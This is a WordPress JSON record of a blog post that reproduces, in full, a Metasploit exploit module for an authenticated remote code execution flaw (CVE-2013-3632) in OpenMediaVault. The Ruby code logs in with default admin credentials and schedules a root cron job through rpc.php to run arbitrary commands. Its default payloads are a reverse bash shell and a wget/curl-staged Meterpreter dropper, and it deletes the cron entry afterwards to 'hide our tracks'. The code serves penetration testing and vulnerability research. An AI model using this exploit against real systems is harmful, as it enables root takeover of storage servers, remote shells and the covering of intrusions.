{"id":58553,"date":"2024-07-31T18:09:37","date_gmt":"2024-07-31T15:09:37","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179859\/openmediavault_auth_cron_rce.rb.txt"},"modified":"2024-07-31T18:09:37","modified_gmt":"2024-07-31T15:09:37","slug":"openmediavault-rpc-php-authenticated-cron-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/openmediavault-rpc-php-authenticated-cron-remote-code-execution\/","title":{"rendered":"OpenMediaVault rpc.php Authenticated Cron Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<br \/>prepend Msf::Exploit::Remote::AutoCheck<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::CmdStager<br \/>include Msf::Exploit::Deprecated<\/p>\n<p>moved_from &#8216;exploit\/multi\/http\/openmediavault_cmd_exec&#8217;<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;OpenMediaVault rpc.php Authenticated Cron Remote Code Execution&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>OpenMediaVault allows an authenticated user to create cron jobs as root on the system.<br \/>An attacker can abuse this by sending a POST request via rpc.php to schedule and execute<br \/>a cron entry that runs arbitrary commands as root on the system.<br \/>All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die-gr3y &lt;h00die.gr3y[at]gmail.com&gt;&#8217;, # Msf module contributor<br \/>&#8216;Brandon Perry &lt;bperry.volatile[at]gmail.com&gt;&#8217; # Original discovery and first msf module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2013-3632&#8217;],<br \/>[&#8216;PACKETSTORM&#8217;, &#8216;178526&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.rapid7.com\/blog\/post\/2013\/10\/30\/seven-tricks-and-treats&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/zl1kmXbAce\/cve-2013-3632&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2013-10-30&#8217;,<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],<br \/>&#8216;Privileged&#8217; =&gt; true,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Unix Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Type&#8217; =&gt; :unix_cmd,<br \/>&#8216;DefaultOptions&#8217; =&gt; { &#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/reverse_bash&#8217; }<br \/>}<br \/>],<br \/>[<br \/>&#8216;Linux Dropper&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],<br \/>&#8216;Type&#8217; =&gt; :linux_dropper,<br \/>&#8216;CmdStagerFlavor&#8217; =&gt; [&#8216;wget&#8217;, &#8216;curl&#8217;],<br \/>&#8216;DefaultOptions&#8217; =&gt; { &#8216;PAYLOAD&#8217; =&gt; &#8216;linux\/x64\/meterpreter\/reverse_tcp&#8217; }<br \/>}<br \/>]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;WfsDelay&#8217; =&gt; 65 # wait at least one minute for session to allow cron to execute the payload<br \/>},<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The URI path of the OpenMediaVault web application&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;The OpenMediaVault username to authenticate with&#8217;, &#8216;admin&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;The OpenMediaVault password to authenticate with&#8217;, &#8216;openmediavault&#8217;]),<br \/>OptBool.new(&#8216;PERSISTENT&#8217;, [true, &#8216;Keep the payload persistent in Cron. Default value is false, where the payload is removed&#8217;, false])<br \/>])<br \/>end<\/p>\n<p>def user<br \/>datastore[&#8216;USERNAME&#8217;]end<\/p>\n<p>def pass<br \/>datastore[&#8216;PASSWORD&#8217;]end<\/p>\n<p>def rpc_success?(res)<br \/>res&amp;.code == 200 &amp;&amp; res.body.include?(&#8216;&#8221;error&#8221;:null&#8217;)<br \/>end<\/p>\n<p>def login(user, pass)<br \/>print_status(&#8220;#{peer} &#8211; Authenticating with OpenMediaVault using credentials #{user}:#{pass}&#8221;)<br \/># try the login options for all OpenMediaVault versions<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;rpc.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;data&#8217; =&gt; {<br \/>service: &#8216;Session&#8217;,<br \/>method: &#8216;login&#8217;,<br \/>params: {<br \/>username: user,<br \/>password: pass<br \/>},<br \/>options: nil<br \/>}.to_json<br \/>})<br \/>unless res&amp;.code == 200 &amp;&amp; res.body.include?(&#8216;&#8221;authenticated&#8221;:true&#8217;)<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;rpc.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;data&#8217; =&gt; {<br \/>service: &#8216;Authentication&#8217;,<br \/>method: &#8216;login&#8217;,<br \/>params: {<br \/>username: user,<br \/>password: pass<br \/>}<br \/>}.to_json<br \/>})<br \/>end<br \/>unless res&amp;.code == 200 &amp;&amp; res.body.include?(&#8216;&#8221;authenticated&#8221;:true&#8217;)<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;rpc.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;data&#8217; =&gt; {<br \/>service: &#8216;Authentication&#8217;,<br \/>method: &#8216;login&#8217;,<br \/>params: [<br \/>{<br \/>username: user,<br \/>password: pass<br \/>}<br \/>]}.to_json<br \/>})<br \/>return res&amp;.code == 200 &amp;&amp; res.body.include?(&#8216;&#8221;authenticated&#8221;:true&#8217;)<br \/>end<br \/>true<br \/>end<\/p>\n<p>def check_target<br \/>print_status(&#8216;Trying to detect if target is running a vulnerable version of OpenMediaVault.&#8217;)<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;rpc.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;data&#8217; =&gt; {<br \/>service: &#8216;System&#8217;,<br \/>method: &#8216;getInformation&#8217;,<br \/>params: nil<br \/>}.to_json<br \/>})<br \/>return nil unless rpc_success?(res)<\/p>\n<p>res<br \/>end<\/p>\n<p>def check_version(res)<br \/># parse json response and get the version<br \/>res_json = res.get_json_document<br \/>unless res_json.blank?<br \/># OpenMediaVault v0.3 &#8211; v0.5 and up to v4 have different json formats where index 1 has the version information<br \/>version = res_json.dig(&#8216;response&#8217;, 1, &#8216;value&#8217;)<br \/>version = res_json.dig(&#8216;response&#8217;, &#8216;version&#8217;) if version.nil?<br \/>version = res_json.dig(&#8216;response&#8217;, &#8216;data&#8217;, 1, &#8216;value&#8217;) if version.nil?<br \/>return Rex::Version.new(version.split(&#8216;(&#8216;)[0].gsub(\/[[:space:]]\/, &#8221;)) unless version.nil? || version.split(&#8216;(&#8216;)[0].nil?<br \/>end<br \/>nil<br \/>end<\/p>\n<p>def apply_config_changes<br \/># Apply OpenMediaVault configuration changes<br \/>send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;rpc.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;data&#8217; =&gt; {<br \/>service: &#8216;Config&#8217;,<br \/>method: &#8216;applyChangesBg&#8217;,<br \/>params: {<br \/>modules: [],<br \/>force: false<br \/>},<br \/>options: nil<br \/>}.to_json<br \/>})<br \/>end<\/p>\n<p>def execute_command(cmd, _opts = {})<br \/># OpenMediaFault current release &#8211; v6.0.15-1 uses an array definition [&#8216;*&#8217;]# OpenMediaVault v3.0.16 &#8211; v6.0.14-1 uses a string definition &#8216;*&#8217;<br \/># OpenMediaVault v1.0.22 &#8211; v3.0.15 uses a string definition &#8216;*&#8217; and uuid setting &#8216;undefined&#8217;<br \/># OpenMediaVault v0.2.6.4 &#8211; v1.0.31 uses a string definition &#8216;*&#8217; and uuid setting &#8216;undefined&#8217; and no execution parameter<br \/># OpenMediaVault &lt; v0.2.6.4 uses a string definition &#8216;*&#8217; and uuid setting &#8216;undefined&#8217;, no execution parameter and no everyN parameters<br \/>schedule = @version_number &gt;= Rex::Version.new(&#8216;6.0.15-1&#8217;) ? [&#8216;*&#8217;] : &#8216;*&#8217;<br \/>uuid = @version_number &lt;= Rex::Version.new(&#8216;3.0.15&#8217;) ? &#8216;undefined&#8217; : &#8216;fa4b1c66-ef79-11e5-87a0-0002b3a176b4&#8217;<\/p>\n<p>if @version_number &gt; Rex::Version.new(&#8216;1.0.32&#8217;)<br \/>post_data = {<br \/>service: &#8216;Cron&#8217;,<br \/>method: &#8216;set&#8217;,<br \/>params: {<br \/>uuid: uuid,<br \/>enable: true,<br \/>execution: &#8216;exactly&#8217;,<br \/>minute: schedule,<br \/>everynminute: false,<br \/>hour: schedule,<br \/>everynhour: false,<br \/>dayofmonth: schedule,<br \/>everyndayofmonth: false,<br \/>month: schedule,<br \/>dayofweek: schedule,<br \/>username: &#8216;root&#8217;,<br \/>command: cmd.to_s, # payload<br \/>sendemail: false,<br \/>comment: &#8221;,<br \/>type: &#8216;userdefined&#8217;<br \/>},<br \/>options: nil<br \/>}.to_json<br \/>elsif @version_number &gt;= Rex::Version.new(&#8216;0.2.6.4&#8217;)<br \/>post_data = {<br \/>service: &#8216;Cron&#8217;,<br \/>method: &#8216;set&#8217;,<br \/>params: {<br \/>uuid: uuid,<br \/>enable: true,<br \/>minute: schedule,<br \/>everynminute: false,<br \/>hour: schedule,<br \/>everynhour: false,<br \/>dayofmonth: schedule,<br \/>everyndayofmonth: false,<br \/>month: schedule,<br \/>dayofweek: schedule,<br \/>username: &#8216;root&#8217;,<br \/>command: cmd.to_s, # payload<br \/>sendemail: false,<br \/>comment: &#8221;,<br \/>type: &#8216;userdefined&#8217;<br \/>}<br \/>}.to_json<br \/>else<br \/>post_data = {<br \/>service: &#8216;Cron&#8217;,<br \/>method: &#8216;set&#8217;,<br \/>params: [<br \/>{<br \/>uuid: uuid,<br \/>minute: schedule,<br \/>hour: schedule,<br \/>dayofmonth: schedule,<br \/>month: schedule,<br \/>dayofweek: schedule,<br \/>username: &#8216;root&#8217;,<br \/>command: cmd.to_s, # payload<br \/>comment: &#8221;,<br \/>type: &#8216;userdefined&#8217;<br \/>}<br \/>]}.to_json<br \/>end<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;rpc.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;data&#8217; =&gt; post_data<br \/>})<br \/>fail_with(Failure::Unknown, &#8216;Cannot access cron services to schedule payload execution.&#8217;) unless rpc_success?(res)<\/p>\n<p># parse json response and get the uuid of the cron entry<br \/># we need this later to clean up and hide our tracks<br \/>res_json = res.get_json_document<br \/>@cron_uuid = res_json.dig(&#8216;response&#8217;, &#8216;uuid&#8217;) || &#8221;<\/p>\n<p># In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it<br \/>if @cron_uuid.blank?<br \/>if @version_number &gt;= Rex::Version.new(&#8216;0.2.6.4&#8217;)<br \/>method = &#8216;getList&#8217;<br \/>else<br \/>method = &#8216;getListByType&#8217;<br \/>end<br \/>post_data = {<br \/>service: &#8216;Cron&#8217;,<br \/>method: method,<br \/>params: {<br \/>start: 0,<br \/>limit: -1,<br \/>sortfield: nil,<br \/>sortdir: nil,<br \/>type: [&#8216;userdefined&#8217;]}<br \/>}.to_json<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;rpc.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;data&#8217; =&gt; post_data<br \/>})<br \/>res_json = res.get_json_document<br \/># get total list of entries and pick the last one<br \/>index = res_json.dig(&#8216;response&#8217;, &#8216;total&#8217;)<br \/>@cron_uuid = res_json.dig(&#8216;response&#8217;, &#8216;data&#8217;, index &#8211; 1, &#8216;uuid&#8217;) || &#8221;<br \/>end<\/p>\n<p># Apply and update cron configuration to trigger payload execution (1 minute)<br \/># In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply<br \/>apply_config_changes<br \/>print_status(&#8216;Cron payload execution triggered. Wait at least 1 minute for the session to be established.&#8217;)<br \/>end<\/p>\n<p>def on_new_session(_session)<br \/># try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true<br \/>unless datastore[&#8216;PERSISTENT&#8217;]res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;rpc.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;data&#8217; =&gt; {<br \/>service: &#8216;Cron&#8217;,<br \/>method: &#8216;delete&#8217;,<br \/>params: {<br \/>uuid: @cron_uuid.to_s<br \/>}<br \/># options: nil<br \/>}.to_json<br \/>})<br \/>if rpc_success?(res)<br \/># Apply changes and update cron configuration to remove the payload entry<br \/># In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply<br \/>apply_config_changes<br \/>print_good(&#8216;Cron payload entry successfully removed.&#8217;)<br \/>else<br \/>print_warning(&#8216;Cannot access the cron services to remove the payload entry. If required, remove the entry manually.&#8217;)<br \/>end<br \/>end<br \/>super<br \/>end<\/p>\n<p>def check<br \/>@logged_in = login(user, pass)<br \/>return CheckCode::Unknown(&#8216;Failed to authenticate at OpenMediaVault.&#8217;) unless @logged_in<\/p>\n<p>res = check_target<br \/>return CheckCode::Unknown(&#8216;Can not identify target as OpenMediaVault.&#8217;) if res.nil?<\/p>\n<p>@version_number = check_version(res)<br \/>return CheckCode::Detected(&#8216;Can not retrieve the version information.&#8217;) if @version_number.nil?<br \/>return CheckCode::Appears(&#8220;Version #{@version_number}&#8221;) if @version_number.between?(Rex::Version.new(&#8216;0.1&#8217;), Rex::Version.new(&#8216;7.4.2-2&#8217;))<\/p>\n<p>CheckCode::Detected(&#8220;Version #{@version_number}&#8221;)<br \/>end<\/p>\n<p>def exploit<br \/>unless @logged_in<br \/>if login(user, pass)<br \/>res = check_target<br \/>fail_with(Failure::Unknown, &#8216;Can not identify target as OpenMediaVault.&#8217;) if res.nil?<br \/>@version_number = check_version(res)<br \/>if @version_number.nil?<br \/>print_status(&#8216;Can not retrieve version information. Continue anyway&#8230;&#8217;)<br \/>else<br \/>print_status(&#8220;Version #{@version_number} detected.&#8221;)<br \/>end<br \/>else<br \/>fail_with(Failure::NoAccess, &#8216;Failed to authenticate at OpenMediaVault.&#8217;)<br \/>end<br \/>end<\/p>\n<p>print_status(&#8220;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<br \/>case target[&#8216;Type&#8217;]when :unix_cmd<br \/>execute_command(payload.encoded)<br \/>when :linux_dropper<br \/>execute_cmdstager<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRankingprepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStagerinclude Msf::Exploit::Deprecated moved_from &#8216;exploit\/multi\/http\/openmediavault_cmd_exec&#8217; def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;OpenMediaVault rpc.php Authenticated Cron Remote Code Execution&#8217;,&#8216;Description&#8217; =&gt; %q{OpenMediaVault allows an authenticated user to create cron jobs as root on the system.An attacker can abuse this by sending a &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58553","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58553","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58553"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58553\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58553"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58553"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58553"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}